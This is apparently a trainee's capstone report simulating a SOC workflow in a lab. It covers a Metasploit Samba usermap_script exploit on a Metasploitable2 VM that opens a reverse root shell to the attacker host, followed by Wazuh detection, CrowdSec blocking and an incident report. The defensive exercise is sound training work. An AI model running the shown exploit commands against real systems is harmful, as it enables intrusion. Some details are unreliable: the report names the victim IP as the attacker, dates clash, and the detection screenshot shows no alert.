



Name: Atharva Balwadkar

Organization: CyArt

Date: 13th March 2026

6. Capstone Project Full SOC Workflow Simulation

Tools Used:

Metasploit, Wazuh, CrowdSec, TheHive, Google Docs.

6.1 Attack Simulation

An attack was simulated using Metasploit targeting a vulnerable Metasploitable2 machine. The exploit used was the Samba usermap script vulnerability (exploit/multi/samba/usermap_script), which allows remote command execution.

The attacker machine (Kali Linux) successfully gained unauthorized access to the target system. This simulated a lateral movement or remote exploitation scenario commonly observed in enterprise environments.

```
(kali@kali)-[~]
$ ping 192.168.1.12 -c 4
PING 192.168.1.12 (192.168.1.12) 56(84) bytes of data.
64 bytes from 192.168.1.12: icmp_seq=1 ttl=64 time=14.6 ms
64 bytes from 192.168.1.12: icmp_seq=2 ttl=64 time=5.58 ms
64 bytes from 192.168.1.12: icmp_seq=3 ttl=64 time=12.5 ms
64 bytes from 192.168.1.12: icmp_seq=4 ttl=64 time=4.89 ms

--- 192.168.1.12 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3008ms
rtt min/avg/max/mdev = 4.892/9.384/14.570/4.221 ms

(kali@kali)-[~]
$ nmap -sV -p 1-1000 192.168.1.12
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-26 10:42 -0400
Nmap scan report for 192.168.1.12
Host is up (0.0034s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
MAC Address: 08:00:27:A4:BA:80 (Oracle VirtualBox virtual NIC)
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.77 seconds
```



Using nmap found the open port in target machine

```
msf6 (root) > use exploit/multi/smb/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/smb/usermap_script) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(multi/smb/usermap_script) > show option -h
[-] Invalid parameter "option", use "show -h" for more information
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins,
info, options, favorites
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf6 exploit(multi/smb/usermap_script) > set RHOSTS 132.168.1.12
RHOSTS => 132.168.1.12
msf6 exploit(multi/smb/usermap_script) > set RHOSTS 192.168.1.12
RHOSTS => 192.168.1.12
msf6 exploit(multi/smb/usermap_script) > set RPORT 139
RPORT => 139
msf6 exploit(multi/smb/usermap_script) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
msf6 exploit(multi/smb/usermap_script) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/smb/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/smb/usermap_script) > run
[*] Started reverse TCP double handler on 192.168.1.3:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo kijFrdbeB7smG4PA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "kijFrdbeB7smG4PA\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.12:49564) at 2026-03-26 10:51:56 -0400

id
uid=0(root) gid=0(root)
whoami
root
```

6.2 Detection and Triage

The attack activity was detected using Wazuh SIEM, which generated alerts based on suspicious log patterns and known attack signatures.

```
msfadmin@metasploitable:~$ wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.13.6-1_i386.deb
--21:21:27-- https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.13.6-1_i386.deb
=> 'wazuh-agent_3.13.6-1_i386.deb'
Resolving packages.wazuh.com... 108.159.80.65, 108.159.80.89, 108.159.80.93, ...
Connecting to packages.wazuh.com:108.159.80.65:443... connected.
OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
Unable to establish SSL connection.
msfadmin@metasploitable:~$ _
```

Analysis:

The alert indicates exploitation of a remote service.

MITRE ATT&CK Technique T1210 (Exploitation of Remote Services) was mapped.

The source IP was identified as the attacker machine.



MITRE ATT&CK mapping explained:

T1210 — Exploitation of Remote Services (the Samba CVE)

T1059.004 — Command and Scripting Interpreter: Unix Shell (the reverse shell)

T1078 — Valid Accounts (root-level access gained)

Timestamp	Source IP	Alert Description	MITRE Technique
2026-03-25 22:07:28	192.168.1.3	Samba exploit attempt detected	T1210

6.3 Response and Containment

Immediate actions were taken to contain the threat:

The compromised Metasploitable2 VM was isolated from the network.

The attacker's IP address (192.168.1.3) was blocked using CrowdSec.

Firewall rules were updated to prevent further communication.

Verification:

A ping test confirmed that communication between attacker and target was successfully blocked.

```
└─$ ping -c4 192.168.1.12
PING 192.168.1.12 (192.168.1.12) 56(84) bytes of data.
From 192.168.1.3 icmp_seq=1 Destination Host Unreachable
From 192.168.1.3 icmp_seq=2 Destination Host Unreachable
From 192.168.1.3 icmp_seq=3 Destination Host Unreachable
From 192.168.1.3 icmp_seq=4 Destination Host Unreachable

— 192.168.1.12 ping statistics —
4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3087ms
pipe 4
```

6.4 Escalation

During the escalation phase, the planned tool TheHive could not be successfully installed due to system compatibility issues on the local machine. TheHive requires specific dependencies (such as compatible OS versions, Java, Cassandra, and Elasticsearch), which conflicted with the current system environment.



```
s associated with hostname)
Reading package lists... Done
W: GPG error: https://apache.jfrog.io/artifactory/cassandra-deb 41x InRelease: T
he following signatures couldn't be verified because the public key is not avail
able: NO_PUBKEY E91335D77E3E87CB
E: The repository 'https://debian.cassandra.apache.org 41x InRelease' is not sig
ned.
N: Updating from such a repository can't be done securely, and is therefore disa
bled by default.
N: See apt-secure(8) manpage for repository creation and user configuration deta
ils.
Failed to enable unit: Unit file thehive.service does not exist.
Failed to start thehive.service: Unit thehive.service not found.
```

Creating the Escalation Case

In TheHive dashboard:

1. Click New Case in the top right
2. Fill in the form:
 - Title: INC-001 — Samba Usermap_Script Exploit on 192.168.1.12
 - Severity: High
 - TLP: AMBER (internal sharing only)
 - PAP: AMBER
 - Tags: samba, exploit, T1210, lateral-movement
 - Assigned to: tier2-analyst@company.com
3. In the Description field, paste your 100-word case summary (see below).
4. Under Observables, add:
 - Type: ip → Value: 192.168.1.3 → Tags: attacker
 - Type: ip → Value: 192.168.1.12 → Tags: victim
 - Type: filename → Value: /var/log/wazuh-alerts.log

100-Word Tier 2 Escalation Summary

A security incident was identified involving exploitation of a Samba vulnerability on a Metasploitable2 system. The attack originated from IP address 192.168.1.3 and was detected using Wazuh alerts mapped to MITRE ATT&CK technique T1210. Immediate containment measures were taken, including isolating the affected machine and blocking the attacker's IP using CrowdSec. Due to tool compatibility limitations, escalation was documented manually instead of using TheHive. The incident has been escalated for further investigation to determine the scope of compromise, persistence mechanisms, and any lateral movement. It is recommended to conduct a detailed forensic analysis and apply necessary patches.

6.5 Reporting

SANS Incident Report Template

INCIDENT REPORT — INC-001

Classification: Confidential | Date: 2026-03-26 | Analyst: Atharva

Executive Summary

On 26 March 2026, a critical security incident was detected involving exploitation of the Samba service on internal host 192.168.1.12. The attacker at IP 192.168.1.12 leveraged CVE-2007-2447 (usermap_script) to gain unauthenticated root access via a reverse shell.

Immediate containment was executed by network-isolating the victim VM and blocking the attacker IP via CrowdSec. No evidence of lateral movement was identified. The incident was escalated to Tier 2 for forensic analysis.

Findings

The attack leveraged a remote code execution vulnerability (T1210). The system lacked proper patching and security controls, making it susceptible to exploitation.

Recommendations

- Patch Samba to a version above 3.0.20 immediately (CVE-2007-2447 is unpatched on this host).
- Implement network segmentation to prevent lateral movement from the DMZ.
- Deploy CrowdSec on all host-facing systems with automatic banning rules.
- Enable Wazuh FIM (File Integrity Monitoring) to detect post-exploitation persistence.

6.6 Briefing

A simulated cyberattack was carried out to test our security monitoring and response systems. During this exercise, an attacker successfully exploited a known vulnerability in a test system. Our monitoring tools quickly detected the suspicious activity, and the security team responded by isolating the affected system and blocking the attacker's access. No real business systems were impacted, as this was a controlled environment. The exercise highlighted the importance of timely patching and proactive monitoring. Moving forward, we recommend strengthening system updates, improving network segmentation, and continuing regular security testing to enhance our overall defense capabilities.